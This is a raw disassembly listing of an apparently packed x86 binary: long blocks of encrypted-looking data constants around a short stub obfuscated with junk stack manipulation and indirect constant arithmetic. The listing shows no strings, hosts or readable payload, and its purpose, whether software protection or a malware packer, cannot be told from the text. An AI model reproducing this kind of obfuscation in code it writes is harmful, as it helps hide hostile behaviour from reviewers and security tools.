0D64DD389h, 0D727B24Ch, 0BBC34C54h dd 5CC86732h, 0BB717C85h, 4C1EE32Eh, 8A041305h, 19E42DD3h dd 2CB1F04Dh, 8B8914F0h, 0A975C27Eh, 7ECCDD42h, 0C71213EEh dd 1F98765Fh, 0DFAFD9ACh, 0AC1EA3B6h, 9AB867D9h, 0CF8426FDh dd 9CF55152h, 0DFD0DE7Eh, 3A876782h, 0CC51F5F4h, 0EE393BC2h dd 0E2BA10EFh, 0A89AE2Ch, 0B2FD0000h, 828E932Bh, 5252AF7Fh dd 1B1AE787h, 0DD213CCEh, 428B4E1Ch, 0F288515Dh, 8D2236Fh dd 47E7EE35h, 902AB7FAh, 42157CCCh, 0C6CD6312h, 57A79D68h dd 6864F496h, 0ED9FA27Bh, 0FDADAA5h, 9F6F3A11h, 8A34E3F6h dd 5AF827D3h, 0D7777A87h, 0C7D7AA2Ah, 8A371C06h, 0EC48D99h dd 12D9ACD2h, 9DB41917h, 0EED9ACD2h, 0F74A33D9h, 0A8FE24A9h dd 0ED111F2h, 32C3C05Dh, 0BE52906h, 0E0h, 245AA79Eh, 1814427Ah dd 3D177632h, 1A8DDE38h, 5C35E3BEh, 309D8B52h, 0D38A4306h dd 1124AD3Dh, 11D38A43h, 4C55080Ah, 8815E581h, 0EAFB388Bh dd 0C4AE15Fh, 806E9130h, 6CE12DB5h, 9969A25h, 0F74CF809h dd 0B857EC58h, 0D1E838Ch, 0CFD4A939h, 113D0A06h, 0AC3FE288h dd 23FB26D9h, 10EAF7A8h, 3FEEC980h, 0F732D9ACh, 0B7D6BF2Fh dd 7BDFD0FCh, 0BBC35EACh, 14A33270h, 5AA3EB76h, 10CEFBDAh dd 81170DBAh, 983h, 9531B8C7h, 0A1458888h, 0F98D585Ch dd 36D42164h, 401AE32Bh, 535B4485h, 256DF08Ah, 0F0330EDCh dd 0B9F845E1h, 72CA9634h, 6311401Bh, 9B16C0CDh, 0F49657A7h dd 0DAFD9464h, 5ED38AC7h, 838E43C3h, 33E9F43Ch, 91FD49E4h dd 0CF1E68FAh, 0BD14C307h, 4951D33Fh, 934EDE44h, 0B7975AA7h dd 86C302DBh, 0B49E6BEDh, 0DF226FFAh, 5CA23F0Fh, 0B288A79Dh dd 8A6F00DBh, 39E500D3h, 0EE7C6DD2h, 0AC6ED9E7h, 56C259D9h dd 0D36B76BBh, 82BE434Eh, 30925E03h, 46CCA36Dh, 0DA276Ah dd 33E9F43Dh, 43C8D6ABh, 0A279B742h, 21917h, 30929BB9h dd 965BA56Dh, 32C3CF9Ah, 1814DD25h, 4E681235h, 7642C8DFh dd 579EE42Bh, 8212E2B8h, 3091F0CBh, 29F5306Dh, 0B4606DB4h dd 0BE434DD0h, 92210D94h, 0DE0D6D30h, 0B4397834h, 0FB060B16h dd 0A029B94Dh, 6D309295h, 8F0F0B5Eh, 0D047EFD4h, 0BD62C955h dd 73CE5EACh, 0DE75A32Eh, 92B04141h, 5285B10Bh, 50AA7173h dd 0A18BC1CDh, 6F46A7E0h, 49001AB1h, 7352696Eh, 7FAF77B2h dd 0AD5DE3EFh, 3623CBB3h, 899A07ECh, 35F2D4BDh, 0EB367974h dd 3682503Dh, 65F57974h, 0D7B1B169h, 5AF87CCDh, 16E6C74Dh dd 73DB5C7Fh, 0DD41DC79h, 0A04D5CBh, 0A3EF726Fh, 0D57EF052h dd 83000004h, 0A5A426AAh, 714E0CA2h, 8CD9FC95h, 0C259D38Ah dd 369B240h, 24B98D9Eh, 5F0F17DEh, 0ACC02836h, 683DE8D9h dd 7C91E967h, 0AFBC65B6h, 9234365Fh, 7EC3BC9Eh, 59A0EE35h dd 95B954E3h, 66E927C2h, 3B52A8B9h, 0C2C0CD0Dh, 0BCB7A50Dh dd 0A09C61A0h, 539A4F8Bh, 86B883CAh, 0AD78C2C1h, 0EAF73916h dd 0F04AE13Eh, 48919D60h, 0C70A17CAh, 0AD7DA27h, 6044352Ah dd 4B49C759h, 7A3h, 0B55198E7h, 0C16568A8h, 19AD387Ch dd 56F40104h, 603AC3CBh, 337B64E5h, 50D10AAh, 0D0D32EFCh dd 99986501h, 12EAB654h, 630F607Bh, 0FB76A0CDh, 99975AA7h dd 0AD3070CDh, 0E77AD877h, 6FF2489Dh, 0D272D025h, 11FB4h dd 6FD1CD00h, 75E63472h, 28A13109h, 0D38AC80Dh, 0D3757FC6h dd 0FE5D4C2Ah, 0F52656Ch, 4BD6D38Ah, 8B3196BCh, 34FAAE22h dd 0CBAFCF9Ch, 0C109AC26h, 93B35E90h, 0F3638735h, 8A4E14h dd 0D1D30000h, 18E8726Fh, 0A86A7F85h, 8AC7F3C1h, 76BD00D3h dd 1510A76Fh, 0D28A131h, 0DD38AC8h, 95834A54h, 721BE3BEh dd 0D38AC867h, 18D67CABh, 2DB0F14Ch, 67FA58F7h, 2A37D71Ah dd 4C001AE7h, 5EA02626h, 0ED8383A4h, 0F5C08919h, 0FED38AB3h dd 0FFCA668Ch, 4D25E847h, 0B6C3A385h, 2D9DFh, 8165863Bh dd 0ABF8FEC8h, 6DA835D9h, 0CDD5AC98h, 64330804h, 160219BEh dd 0D057FD32h, 0ED1DCEAh, 72Bh, 0EC5CBE00h, 0E5000000h dd 0EB7370D1h, 59C50C16h, 0D75EC089h, 0F4A2D9ACh, 44D78C7Bh dd 979A774Dh, 0AA41DE4Ah, 74BE5F4Ah, 0DDB371B0h, 66Bh dd 7D09D0DFh, 895DA0E0h, 0C16570B4h, 1EAC397Ch, 28F2FB03h dd 6BB3ACADh, 3D45D862h, 80B16B4h, 0D1D02DF9h, 5AA27E0Ch dd 630E2833h, 0B30EE8CDh, 34726FD1h, 158A6E6h, 1BC6F47Bh dd 590F14F3h, 0FF000000h, 73D31E62h, 726FD1FEh, 667118E8h dd 0AAD38AC8h, 73EBD77Fh, 0E05CA5EEh, 7129CB4Bh, 0EDCC7689h dd 47CF0E10h, 0F31B5B41h, 2A9A14h, 0D12F0000h, 0E634726Fh dd 64F9717Dh, 5473D31Ah, 167FCFAEh, 0D38AC843h, 93FA58C7h dd 0D38ACFCBh, 0FAA1137h, 776914F3h, 0F0FFFFFEh, 5CCD7AAh dd 912300Fh, 0CE6C8A97h, 4D0119A5h, 4957592Ah, 3A205A84h dd 34DEC955h, 0F3C40DB3h, 25ED414h, 0A75D0000h, 29B49657h dd 9198AAECh, 0AD39C07Eh, 0E7720C16h, 9FF34B9Eh, 32FAB69Eh dd 1E395006h, 0E2D38A53h, 14AA6807h, 0CFAB5146h, 916C3EBFh dd 4FD04C8Dh, 1C75D1D2h, 0D9AC61B6h, 0EC71AF7Ah, 0D3AE0FB5h dd 431E04D1h, 22B3F03Bh, 0F88259F6h, 40899568h, 3AD77FD4h dd 0AF3FF5F4h, 555AAC23h, 0BF948049h, 9DA06A53h, 0BB0928B1h dd 0EB33D9ACh, 0B40C1451h, 7500AD97h, 10E122BFh, 0C64C9B24h dd 0A02A71A8h, 7B03CAD4h, 0DB5198E6h, 0FFDAB303h, 0C8D9AC2Ah dd 6E999E41h, 0E70211FBh, 7E6BD43Fh, 0C58C1CECh, 0D9AC5DF2h dd 0A2DA436h, 0ED9AC5Eh, 0F7DE4413h, 0DFCE7E69h, 74470E9Eh dd 8EDFCE7Eh, 4DD87F82h, 2DA436C1h, 0DFCE7E0Ah, 0A644130Eh dd 9777742Dh, 0F0985CFEh, 0CB41DCE5h, 0F097EFCAh, 0C75727E5h dd 0F097AB8Eh, 0B0F26FE5h, 1F888A21h, 0D1D24F75h, 0B2BA1C75h dd 0F449EC12h, 5BFC26AFh, 0DE233ECCh, 454C2513h, 0BED2A2B8h dd 5A84CB6h, 12252E77h, 16EC1264h, 701B0B0Bh, 0E3D161CFh dd 0A3F54037h, 0DBA63614h, 3A110FDAh, 0EB7FB118h, 0D783F233h dd 0F95A27BEh, 0D957E2C7h, 0BAF0410Dh, 6F9A3AA0h, 0BFF7DEA7h dd 3748F234h, 1FB4EA8Dh, 537DF649h, 84000000h, 0F03170D1h dd 0C09F62AFh, 0BAB8D135h, 7ED9ACD2h, 0C9175A3h, 0A747FD08h dd 0ACD30B2Eh, 45100FD9h, 0D2E1F0D9h, 171BD9ACh, 0D2EDC881h dd 0F62DD9ACh, 1014ED5Bh, 0A7FA4FC5h, 0FF4F131Dh, 0D353666Fh dd 48D7D9ACh, 0B037DDCAh, 0ED1100Ah, 0AECBh, 5AA75E00h dd 0BEC09997h, 2968013Fh, 909168A4h, 24F3060Fh, 0CD4D4F86h dd 0AAF7D38Ah dd 53CC8727h, 6D64F456h, 0D38ACD4Ah, 0C20F11CEh, 0EF7FEF37h dd 0CD63761Fh, 78A7D38Ah, 0E99101Eh, 0DB7BBBD6h, 0AFDC19F2h dd 380219D9h, 0CA9059A5h, 5EA62777h, 0B073E95Dh, 0A823B16Fh dd 9C000003h, 0ADB04A93h, 71CC9E63h, 3904A633h, 0C05DE9FCh dd 0EA6F3FBEh, 0A9307E61h, 0F302001Dh, 4CDD62Bh, 4B969B66h dd 761FEFB3h, 0CD630B63h, 0A7FE4BA7h, 24B49657h, 8AC88AADh dd 0D3D18ED3h, 663D0A06h, 0DB7B8A89h, 26ABF64Bh, 8FD8B484h dd 1D170367h, 0A7AD8082h, 0C099975Ah, 0F36E3CC1h, 0C9D55AA7h dd 1917500h, 8AC86D48h, 0AC76ADD3h, 0B73A4712h, 0A6C37C17h dd 6D64F444h, 0D38AC84Ah, 0EAF353CEh, 0D9ACD0A8h, 1E87BD68h dd 0D9ACD137h, 3CBDC1h, 9B992A69h, 0C285B34Eh, 1F614DF7h dd 32C966D2h, 0EB15B6Ch, 0ED10E90h, 4E51h, 70D1D800h, 0F16EB73h dd 71B34EFAh, 0C493A864h, 67392B9Ah, 51FD5912h, 891AD8B1h dd 31ED9ACh, 901D7115h, 0D4E08889h, 0BD98F155h, 7DD9AC85h dd 3E157CA6h, 0B1D9AC86h, 6D53D47Eh, 0DA0ED15Dh, 0AAF63947h dd 879C8827h, 0E8A19Fh, 0AA280000h, 0C3AD0F26h, 0DD414A5Eh dd 40FC0100h, 287E28A4h, 0AED70510h, 24A5E964h, 0CD1011E8h dd 6A77BA57h, 2B0C40D0h, 0A7B2DBC4h, 6BD38A95h, 6FCE52BCh dd 0BF7578B9h, 6049D560h, 0D38A6D36h, 6E3CC1C0h, 0F702039Eh dd 626FB22Fh, 0EAFF0598h, 66F69628h, 8A6D4C6Fh, 0CD51CCD3h dd 52A8B966h, 1032C3CFh, 7B931970h, 8897D9ACh, 1CE12FB2h dd 2FF70203h, 0BEAB14FFh, 3B3E25ACh, 27C2DFD1h, 0B5347AC7h dd 0FB020C11h, 10887C79h, 389E94BAh, 21Bh, 0DD9206Fh, 59EDF030h dd 9135C0C4h, 0AE7C898Ch, 0F8824B53h, 0BBC3DC1Dh, 8D956832h dd 585BA644h, 2160FD89h, 0EA720EDCh, 6309D8E3h, 3FE58CDh dd 0F49657A7h, 41A52869h, 0B8E64F0Dh, 61BE6A7Bh, 798E9679h dd 15E575D5h, 8A4C597Ch, 0F542D9D3h, 5CEB21ACh, 70D17BF6h dd 771BEB73h, 2A1D1BBBh, 6049D570h, 0D9ABF472h, 0D0BD6BB6h dd 0D9ABF401h, 0A96FA72h, 178B0CB0h, 0D3792EF4h, 0D1A06E2Ch dd 0E7B70Eh, 0CA570000h, 25183AC7h, 4C9D7AAh, 0B33E431Eh dd 0A7B2DBABh, 6BD38AC7h, 1D896BCh, 0E42EB3FDh, 0C7E5F01Dh dd 7B12D38Ah, 0D38AC860h, 4BD645A0h, 1B1D80BCh, 25D38ACDh dd 0E87511DCh, 57626BA9h, 0DBD38ACDh, 0E37BB14Ch, 0AC7E141Eh dd 2AE72ACCh, 70CF4510h, 0FFF49B16h, 5BFBB818h, 0C8524FF0h dd 0D6E1E878h, 5AD38B9Fh, 0BFE7237Ch, 0D16C7E01h, 69A6644Dh dd 0BF6AD9ADh, 0B38023AFh, 0A6CAEDE4h, 0D34ED9ADh, 0AC7E41B7h dd 742DA666h, 0A8FE9777h, 68DFD198h, 0CAD4A9BDh, 98E67B03h dd 2A98EF51h, 3EF4BA10h, 0EE58h, 8C4D5200h, 0D01D63FEh dd 18ED370Ah, 23B6FF42h, 7178869Bh, 302F30D5h, 0C25FEFEEh dd 889531C0h, 5DA07A8Bh, 21FD8954h, 8A5B0D9h, 8D65CD63h dd 9657A730h, 0A52869F4h, 28B5FC41h, 2FFF27FCh, 975AA7B2h dd 3CC1C099h, 0FF039E6Eh, 5AC72CF6h, 8E94FD49h, 92D9B27Ch dd 0C1C09997h, 38A22E3Ch, 90AB2215h, 90D9B2C3h, 0FDF04D95h dd 16EB3B1Bh, 4B4AC60Bh, 0C950CECh, 98D47E2Dh, 0A6B65499h dd 0D9CBFD6h, 819C0C95h, 0D092CA5h, 12090C95h, 89545D30h dd 2ABFC693h, 0FA5CBCD0h, 94D1AB7Ah, 0FD6DF08Eh, 8751646Dh dd 4AD10C95h, 7935DFC8h, 0C11B538h, 6D94B05h, 71E9867Fh dd 2D0C40DAh, 110B6D48h, 0AD26CB6h, 0B89A6BB7h, 1EDEh dd 0DAAA6300h, 8AC7A8B3h, 91BD68D3h, 527ABBBh, 83563F06h dd 87D38A53h, 26DB7E98h, 0A7EB46CCh, 0CE9B9158h, 77023EC3h dd 926FA52Ch, 3ECB4190h, 0A633E9F0h, 0CE9B9158h, 6B0632C7h dd 8960DC29h, 58CE7A87h, 57E68956h, 4BFh, 5FFE0100h, 8704EE83h dd 685C2434h, 64E7h, 68241489h, 11A0h, 0BA243489h, 5FFF2849h dd 0DAF7D2F7h, 93EA8142h, 0C1E35DF6h, 0F28105EAh, 5C2BCC4h dd 24348B54h, 5104C483h, 8151D189h, 789D242Ch, 468F3F02h dd 8468108h, 3F02789Dh, 2434FF59h, 4C4835Eh, 5224148Bh dd 0C281E289h, 4, 4C281h, 14870000h, 0FEE95C24h, 0FCFFFB8Ch dd 0C108B85Fh, 0C5030627h, 5FDE0FFh, 97871AAEh, 0EB8535CDh dd 0CA626C16h, 504F367Dh, 5096501Bh, 0E357922h, 0D46C36D7h dd 3DC02D7Ch, 91E85787h, 4CBD109Dh, 732330D4h, 60A268A9h dd 0EA350AAEh, 0E850222Ch, 674E00B8h, 0E7841C2Ah, 0F0B50433h dd 6C5404B4h, 0AC19144Eh, 5BBF5C4Dh, 0DDCB50CFh, 8D8D62DEh dd 627C2ACh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 14h, 41C35141h, 0F18D89F9h, 23062233h, 222099B5h, 3185C706h dd 8C06222Dh, 6A000073h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 16042444h, 40000000h, 7AD5C350h, 8E996h dd 65640000h, 8AED87D5h, 0EF802CF8h, 38F0F0Ch, 66000000h dd 85C7F28Bh, 62230E5h, 0 dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 0FEC35343h dd 8CF035C2h, 2B74CA20h, 4860Fh, 0BE660000h, 0B5FF68A7h dd 6222ADDh, 0F7DB8166h, 6595FFEDh, 89062220h, 2211A99Dh dd 0FF006A06h, 22307595h, 0EBC08B06h, 6CE41A7Ah, 0BF739741h dd 45D6E7A5h, 40FE822h, 0F9A3B4EAh, 0D31C143Bh, 42665177h dd 0F126C3Fh, 0B9D9BD2Eh, 0FB057148h, 8BF83FEEh, 0CE04B387h dd 0B86EC867h, 7A038179h, 0A14D33B4h, 0B7C260C3h, 0C1C6B52Eh dd 949989FAh, 1668AC24h, 0E120497Ah, 0B8863241h, 11D7C0A1h dd 8A53C03Dh, 0F206EA6Eh, 0D5AD10DBh, 20F6D7BFh, 0D46B2314h dd 0CC09F971h, 8AA3AF12h, 0E4AC205Eh, 0E98F790Eh, 33h dd 6B17736Bh, 0Bh dup(0) dd 0E9000000h, 5CAh, 0BAD56E1Fh, 2E390675h, 46A19EE1h dd 0FC173059h, 157CCBB3h, 741A5315h, 773BCD7h, 98E0D138h dd 315B44AFh, 6374FF16h, 1DF86189h, 26FE9441h, 0E93A0577h dd 628DBAC4h, 0A7F44F3Dh, 1439028Ah, 4697B4C7h, 3214792h dd 6CA9CE79h, 9DEF201Fh, 4157EA2h, 717E83F7h, 6D1E392Eh dd 18217FBEh, 65B2D770h, 0EDF62A19h, 3A6BD4A4h, 0A1C685F5h dd 0A686EE0h, 3E628C68h, 3CBC25EFh, 0D5B990F8h, 0C5D23776h dd 3C598AB9h, 3A2E5860h, 0BFFEBD47h, 4B317E61h, 72B58EFEh dd 0CB741815h, 2EAAFEAEh, 6C4F473Ah, 34471530h, 9E473A2Eh dd 0FA371553h, 0AE6EB291h, 51F3C6B3h, 6B06h, 5770C00h dd 0AAD0DD3Ah, 1F5EE993h, 1D62AFCEh, 62BEFD2Eh, 43D93E5Bh dd 473A3B37h, 0FB8DD3DAh, 473A3BADh, 577AFE03h, 51F3DC1Ah dd 4A9E0E73h, 0AF473A37h, 104DD00Ch, 68000000h, 56C65F2Bh dd 473A3702h, 5085C4F7h, 7737CF15h, 0D9164704h, 2B4095B2h dd 0C0B0E55Eh, 2655CF29h, 18E9CE19h, 0BD7640F2h, 70B9E75Fh dd 42D8330Ch, 1F2C525Fh, 4871AFCEh, 87D4F946h, 0E30657F4h dd 787CC5BEh, 0C11E3B42h, 93A4F4A8h, 6249473Ah, 7FB5333Eh dd 0E8D9300Fh, 317E9BA4h, 8EADFE4Dh, 0C1CE0B52h, 2A578DBAh dd 9BB5E665h, 65B29ADEh, 22EA3615h, 51F3323Fh, 7B9Ah, 7B443D00h dd 2F4B47F7h, 77F589D7h, 0C6EB3807h, 0AF598AB9h, 800E2642h dd 2169A6C3h, 6EB2F122h, 0F5523C65h, 45FE8BA0h, 37B13810h dd 0F3D96D10h, 327FA451h, 8FAEFF4Ch, 3A318DDDh, 174D6047h dd 5A0Eh, 1E6CA900h, 7723F321h, 0C6EB3807h, 56F187B2h dd 0B9B4C617h, 4274CD3Fh, 9EAA42C9h, 73473AEFh, 30B14338h dd 0B0DE1B39h, 152F19Dh, 0C31785E2h, 36473A00h, 712D4487h dd 41490477h, 5392D102h, 0A893F936h, 0C1E4387Bh, 3A3BE033h dd 41A74A47h, 0F3DB530Eh, 16651h, 77AC0000h, 0D1DE3B08h dd 52F19EABh, 72A3E201h, 93D8ED33h, 94A478E9h, 79473A3Bh dd 6AA2F332h, 0DCA381E7h, 0E633046Fh, 1365AA99h, 0F1E2F428h dd 424845A2h, 91C27D0Bh, 8CCD1352h, 18488F10h, 0D953B849h dd 411828B1h, 0E65BE494h, 0B69A2ED7h, 9FD46DF2h, 0B0E5C841h dd 0DF36117Bh, 442BAAD2h, 6F33BE80h, 8F5D8EC1h, 41184279h dd 0FC211E60h, 2172CDBFh, 70DC1C11h, 18426CBCh, 0EB2A8141h dd 0F232B6BBh, 6956B18Ah, 0A6CB1823h, 0F9386DD6h, 714F870h dd 6685D671h, 84D86329h, 0DD340F7Dh, 0F50597FCh, 18411842h dd 14335C95h, 0DC78A4C7h, 4BD162A1h, 53CEBBF8h, 184EB1D9h dd 16496441h, 1874BCAh, 216E0000h, 7DB8ED5Ah, 7A5F8F27h dd 3A3B96A2h, 47048B47h, 0F30795FAh, 26473A3Bh, 0CE085497h dd 0F3A9CE15h, 49182A4Ch, 3C0B7431h, 588DCCEFh, 0B291FE3Bh dd 9B3C755h, 57664118h, 0A39CE009h, 7404946h, 64997D6h dd 9BC87319h, 0FC1D2656h, 0FDBE0Bh, 96E347E3h, 17366AADh dd 4596B5DAh, 0B6E76028h, 0BB6F8964h, 0BF75F37Ch, 0FB1B72CDh dd 4BD18B86h, 5053h, 0D2FD4600h, 0F02A588Ah, 0DA93483Eh dd 6B15A321h, 0A8589935h, 0A4940861h, 5111736Ch, 0D4083744h dd 0C80D5E5Dh, 5E82BDCBh, 3A3B7C8Ch, 618742C7h, 60DBAEEBh dd 0DF26DA3Ch, 6C36E2BAh, 901B9173h, 613B6079h, 473A3B59h dd 54A3F1BCh, 0C1h, 64AB58BEh, 3DC66903h, 8A374918h, 0D9164704h dd 1B5497B0h, 6487D473h, 0D1BBF025h, 0BDB01176h, 211E6D62h dd 72C4B1FCh, 0A7A8F4B5h, 6BBF6D52h, 56411885h, 1885B2C6h dd 0EB546741h, 27559CC0h, 9ADD6612h, 7F0F0C49h, 0FEEA93C0h dd 83C086A5h, 8B5D83C2h, 4118B586h, 0E4291267h, 0B4FD0D9Fh dd 9D104118h, 0F4192654h, 2774D3A7h, 3048C104h, 2345A8FAh dd 0A9C07B01h, 32579C57h, 39F71A7Ah, 97C4F74Fh, 0C409325Ah dd 0E2678170h, 67E0ACF1h, 0B99EC324h, 69B0D854h, 56654B70h dd 70697286h, 0C814A74Bh, 512ADE3Eh, 30C23345h, 7FC8B45Ah dd 20760F2Eh, 77254237h, 55487923h, 4DA4E7D6h, 64AB58D1h dd 78756903h, 0D5D8491Bh, 43364380h, 0EF9DA4F8h, 98E63354h dd 256A75ABh, 5ABFEC57h, 0CD132C5Dh, 0D72D73Bh, 82C1CA22h dd 0D26D1C51h, 66824F81h, 0D8D534C0h, 5D82EB3h, 18DD7630h dd 1DA21CD9h, 0F1B483CEh, 22246A3h, 79A6C17Ah, 9EFB2813h dd 0A676EB91h, 34620692h, 0AFF53487h, 1F4CF782h, 202C4C35h dd 4498A7D3h, 5AD24F3Dh, 3462050Eh, 0EA3EEEE3h, 0F346205h dd 0C32A6DACh, 0CF1B91F6h, 22346205h, 602C558Bh, 0AABB6E7h dd 9B000000h, 0BDC1CECBh, 0C21E5D8Eh, 3D067732h, 8EB9C3E8h dd 0DF68105Dh, 2A19618Eh, 7DCAB4F9h, 0CC7B0328h, 1C27529Fh dd 6EDDA2CFh, 0BC8BF03Dh, 0AE68696Fh, 89000060h, 0BD552424h dd 4, 4246C01h db 5Dh ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], ebx push 2271h mov [esp], edx mov ebx, 62604D49h not ebx sub ebx, 1EF727DAh and ebx, 566F20CAh xchg edi, ebx not edi xchg edi, ebx shl ebx, 1 xor ebx, 55883D06h sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop edx push ebx push eax mov eax, 5CBD6DEEh sub [esp+4], eax pop eax pop dword ptr [edx+8] add dword ptr [edx+8], 5CBD6DEEh push dword ptr [esp] pop edx add esp, 4 mov ebx, [esp] push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp jmp loc_502B27 ; --------------------------------------------------------------------------- dd 0B782B194h, 42AE4D6Eh, 0B0E4AEB7h, 86B8CC3Ah, 30627C8h dd 0B0E0FFC5h, 0FE534AC1h, 0C87B0CB7h, 2F426EBBh, 6872B9BEh dd 37D210Eh, 53029C72h, 0E81E8F31h, 11h, 67979574h, 9945070Bh dd 0E24EC6D8h, 1E0A90D9h, 0BAB25009h, 40B3595Ah, 6BEEC181h dd 0FE90000h, 79000000h, 0F92DB6B3h, 0B95DA55Dh, 2E624A14h dd 0F62B5A3Ah, 84F38166h, 0E34FF1Dh, 0EE9h, 58691600h dd 0E0978807h, 130D5459h, 58C13388h, 85F0E881h, 0B70F6064h dd 15C081DBh, 0FC6F4F1Ch, 722AF081h, 0BA663364h, 0F50E450h dd 48FF8B7h, 0B8B0F31h, 0F000000h, 586h, 0E2816600h, 0D78BE147h dd 8B04EE83h, 0ACFE81DAh, 0FFFFF94h, 0FFFFA485h, 38B0FFFh dd 66000000h, 8D8DDF8Bh, 627CABBh, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 16h, 83C35040h, 0BE9D69Eh, 0FA000000h dd 4C49BE58h, 45EE2180h, 958BA94Ah, 62220E1h, 33F18D89h dd 0C58A0622h, 2D3185C7h, 6FF00622h, 85C70000h, 62230E5h dd 0 dd 0D38F43BBh, 89B5890Bh, 0FF062204h, 2219F5B5h, 50006A06h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1904h, 0C3504000h dd 0F0A41743h, 8A0FA585h, 4, 5E5E5756h, 206595FFh, 6A0622h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h, 51410000h dd 0D7816FC3h, 709DE751h, 95FF006Ah, 6223075h, 6FEBC08Bh dd 0B513A84Eh, 7713A289h, 0B38D5D11h, 12B2BF0Ah, 517968C5h dd 0E088EA50h, 0A4997960h, 7479E02h, 66869841h, 0F9955E39h dd 827BB7B5h, 0CE7F25A9h, 0FC178BE8h, 0BB4ABF12h, 35C04FBCh dd 0FD942076h, 6DC74650h, 8B0E4619h, 2AB5BACDh, 35B1B175h dd 66A0362Dh, 17CBD23h, 21FB761Eh, 0D01F2A57h, 0E027C57Bh dd 0E6B91FC9h, 5C1253E8h, 0E9DE3719h, 8, 745DD371h, 77E7339Ch dd 0DAAE9h, 0CCF76800h, 98E90627h, 68FFFAB7h, 627CDF2h dd 0FAB78EE9h, 0CF4568FFh, 84E90627h, 68FFFAB7h, 627D03Dh dd 0FAB77AE9h, 0D1F868FFh, 70E90627h, 68FFFAB7h, 627D419h dd 0FAB766E9h, 0D5C968FFh, 5CE90627h, 68FFFAB7h, 627D6D6h dd 0FAB752E9h, 0AC97E6FFh, 102F5C45h, 78C7C8F9h, 0EE592011h dd 57F49A87h, 0E12ACA3Ch, 5A47AE9Dh, 0B7F81330h, 226F86C1h dd 5F86E15Ah, 0F056623Ah, 17BB411Dh, 2A525F0Fh, 0D3306411h dd 26E3B0CCh, 72CDBFFAh, 0C7800C21h, 0E1EBE1A2h, 0FF7BFF89h dd 0A55EBEA1h, 69102950h, 3B5C9FDEh, 18458261h, 3E4E4B49h dd 4F95D005h, 0FA8ADBD2h, 411834AAh, 44BAD54h, 4BD1C849h dd 11F4E7A0h, 0A9FA4932h, 0E7E7F18Ah, 4E44C917h, 0D2000000h dd 364AB58h, 30550042h, 469A7BF4h, 97E12E13h, 3E6FDCA2h dd 0C660BCFFh, 49184795h, 52E2337Ah, 41182B02h, 8FDC6B1Fh dd 93091C62h, 41182B47h, 93C003AAh, 0A48AEE43h, 0A0EC2988h dd 0E93776A7h, 0ACA1E800h, 94BD1CBh, 0CCh, 2A525F11h, 73A1CC11h dd 0A8FD4636h, 1F4CFB83h, 4C91AAD2h, 0C6850A07h, 0C7AD5695h dd 1D0BC55Fh, 602C558Bh, 1B1C8CE7h, 2C473A90h, 970555C7h dd 0C5E8473Ah, 112A529Fh, 78C3C9F6h, 60552E2Bh, 0DE087E5Ch dd 0DF94C61Ah, 0AAA57790h, 0B3491836h, 0B93A4EDEh, 0DCDF4118h dd 7162729Dh, 0AEE15E2Ch, 3F4C49h, 5B58BDDCh, 3CCE122Dh dd 4F3C2E23h, 0AF9CEFCCh, 0E9260B6Ch, 337EA2A1h, 0BC87F24Bh dd 0E20D4C6Fh, 8472D1BDh, 0EF971009h, 1EC45B54h, 8000000Bh dd 0E62B42FDh, 525FB695h, 0CAF71E2Dh, 246D84BFh, 0A482ED5Ah dd 44038BC4h, 0A996E42Dh, 1C27515Eh, 87C0CCF5h, 1894E56Ch dd 411DF7F0h, 77B17125h, 0E0D13807h, 0D248A39Ch, 364AB58h dd 18416669h, 0B7E4D749h, 0C374552h, 5FEC92DFh, 1626C01Ch dd 0E8411831h, 4A038C89h, 89D4F942h, 0C92F0A56h, 0D1D1CB86h dd 0C9EE4Bh, 77340000h, 0C4E93A05h, 76C8DBAh, 3A3B4595h dd 840BA847h, 145796C7h, 7358BDC8h, 3A3B91B9h, 40D0C047h dd 7D323BE4h, 11ABE9C4h, 473A0A1Eh, 0ABC27D0Fh, 0F82D1666h dd 7F98E79Ch, 0A1FF4C32h, 1293FCB0h, 3F7C4918h, 57BEF14Ah dd 28418E45h, 660129C3h, 0B9F44118h, 19470088h, 0F2A824F8h dd 86D4F3Ch, 7D214494h, 0DE02A94Bh, 0E22F4863h, 5B44AF9Ch dd 9AE53233h, 21AFFBADh, 6B424B7Dh, 0BBE85326h, 0CAB13978h dd 93EF9738h, 0A23BF82h, 0F8850000h, 90FB244Fh, 285758B3h dd 0BACFF01Bh, 55396681h, 0C9AB9FF6h, 2641FE80h, 5BB291F9h dd 0CE192256h, 6980BBC1h, 0F70399FEh, 1A411DF6h, 777AC74h dd 9CE0D138h, 77D248A3h, 0C4E93A05h, 14648FB8h, 25F7105Fh dd 49183BE6h, 0AE9DE22Fh, 0E0453E7Dh, 0A352DEE8h, 0F6C57CA0h dd 49F68491h, 62BBD904h, 181081D2h, 371C7D41h, 18105565h dd 7C8C6041h, 91411810h, 4A96251Ah, 0B4689EFh, 0AE4BD1ADh dd 614h, 64AB5874h, 37466903h, 4B74918h, 3FF105D7h, 420F4118h dd 0D36EE326h, 0F54B4BD1h, 0D3000005h, 364AB58h, 8EF2A642h dd 948B6043h, 41852EF1h, 0B1A0FC3Fh, 181864FBh, 71A20949h dd 185F93A3h, 4FFA8E41h, 90D3003Fh, 9DEF0C51h, 6A8771A2h dd 4D34180Eh, 7369E42Bh, 0B54C4BD1h, 67000005h, 0B1BF399Eh dd 5987F8D7h, 88FCD385h, 0B97394DBh, 4918289Eh, 0DC4E2C8Fh dd 0C56F1663h, 7693E093h, 2F763DA6h, 5A8B22DBh, 9DFA493Ah dd 0F5CEB90h, 7CA1B0ECh, 0AFFC4B3Fh, 95B6508Ch, 0A2D141A3h dd 6C002555h, 0D941F75Ch, 6ABBFAB1h, 911C154Bh, 79B21378h dd 7982998Eh, 91FB065Ah, 2A525FB6h, 0D0986911h, 94A55D62h dd 8D095h, 0F04B3200h, 64E3A899h, 0CC7B040Dh, 320D7CA5h dd 9BA8D6DBh, 3D767670h, 969BF251h, 30C67E4h, 7EA3CA75h dd 13DA350Eh, 0F482D646h, 0A377411Dh, 80057743h, 